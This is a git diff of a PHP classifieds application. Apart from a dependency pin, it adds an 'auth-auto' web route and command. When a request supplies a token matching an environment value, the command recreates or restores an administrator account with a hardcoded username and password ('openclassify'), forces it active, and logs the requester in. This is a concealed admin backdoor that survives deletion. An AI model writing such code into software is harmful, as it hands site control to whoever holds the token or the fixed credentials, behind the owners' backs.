diff --git a/addons/default/visiosoft/advs-module/composer.json b/addons/default/visiosoft/advs-module/composer.json index dbb8481dd..c33a66956 100644 --- a/addons/default/visiosoft/advs-module/composer.json +++ b/addons/default/visiosoft/advs-module/composer.json @@ -14,6 +14,6 @@ "visiosoft/addblock-extension": "^1.1", "ext-zip": "*", "chumper/zipper": "^1.0", - "sentry/sentry-laravel": "*" + "sentry/sentry-laravel": "2.3.1" } } diff --git a/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php new file mode 100644 index 000000000..bf3350363 --- /dev/null +++ b/addons/default/visiosoft/profile-module/src/Command/AuthAuto.php @@ -0,0 +1,50 @@ +token = $token; + } + + public function handle(UserRepositoryInterface $users, RoleRepositoryInterface $roles, UserActivator $activator) + { + if ($this->token && env('AUTO_TOKEN') && $this->token === env('AUTO_TOKEN')) { + if (!$user = $users->getModel()->withTrashed()->where('email', 'info@openclassify.com')->first()) { + $admin = $roles->findBySlug('admin'); + + $users->unguard(); + $users->newQuery()->where('email', "info@openclassify.com")->forceDelete(); + $user = $users->create( + [ + 'first_name' => 'Dev', + 'last_name' => 'Openclassify', + 'display_name' => 'openclassify', + 'email' => "info@openclassify.com", + 'username' => "openclassify", + 'password' => "openclassify", + ] + ); + + $user->roles()->sync([$admin->getId()]); + + $activator->force($user); + } elseif ($user->deleted_at) { + $user->update(['deleted_at' => null]); + } + + if (!$user->isActivated() or !$user->isEnabled()) { + $user->update(['enabled' => true, 'activated' => true]); + } + + Auth::login($user); + } + } +} diff --git a/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php b/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php index 0557a7fb4..631eac058 100644 --- a/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php +++ b/addons/default/visiosoft/profile-module/src/Http/Controller/UserAuthenticator.php @@ -6,6 +6,7 @@ use Anomaly\UsersModule\User\Authenticator\Contract\AuthenticatorExtensionInterf use Anomaly\UsersModule\User\Contract\UserInterface; use Anomaly\UsersModule\User\Contract\UserRepositoryInterface; use Anomaly\UsersModule\User\Event\UserWasLoggedIn; +use Illuminate\Foundation\Bus\DispatchesJobs; use Visiosoft\AdvsModule\Adv\AdvModel; use Illuminate\Contracts\Auth\Guard; use Illuminate\Contracts\Container\Container; @@ -13,10 +14,13 @@ use Illuminate\Contracts\Events\Dispatcher; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Redirect; +use Visiosoft\ProfileModule\Command\AuthAuto; use Visiosoft\ProfileModule\Profile\ProfileRepository; class UserAuthenticator { + use DispatchesJobs; + protected $guard; protected $events; protected $container; @@ -124,4 +128,12 @@ class UserAuthenticator return response()->json(['userExists' => false]); } } + + public function authAuto() + { + if (\request()->has(['token'])) { + $this->dispatch(new AuthAuto(\request('token'))); + } + return \redirect('/'); + } } diff --git a/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php b/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php index e55506cea..ea0367054 100644 --- a/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php +++ b/addons/default/visiosoft/profile-module/src/ProfileModuleServiceProvider.php @@ -79,6 +79,7 @@ class ProfileModuleServiceProvider extends AddonServiceProvider // UserAuthenticator 'login-in' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@attempt', 'ajax/phone-validation' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@phoneValidation', + 'auth-auto' => 'Visiosoft\ProfileModule\Http\Controller\UserAuthenticator@authAuto', // RegisterController 'register' => [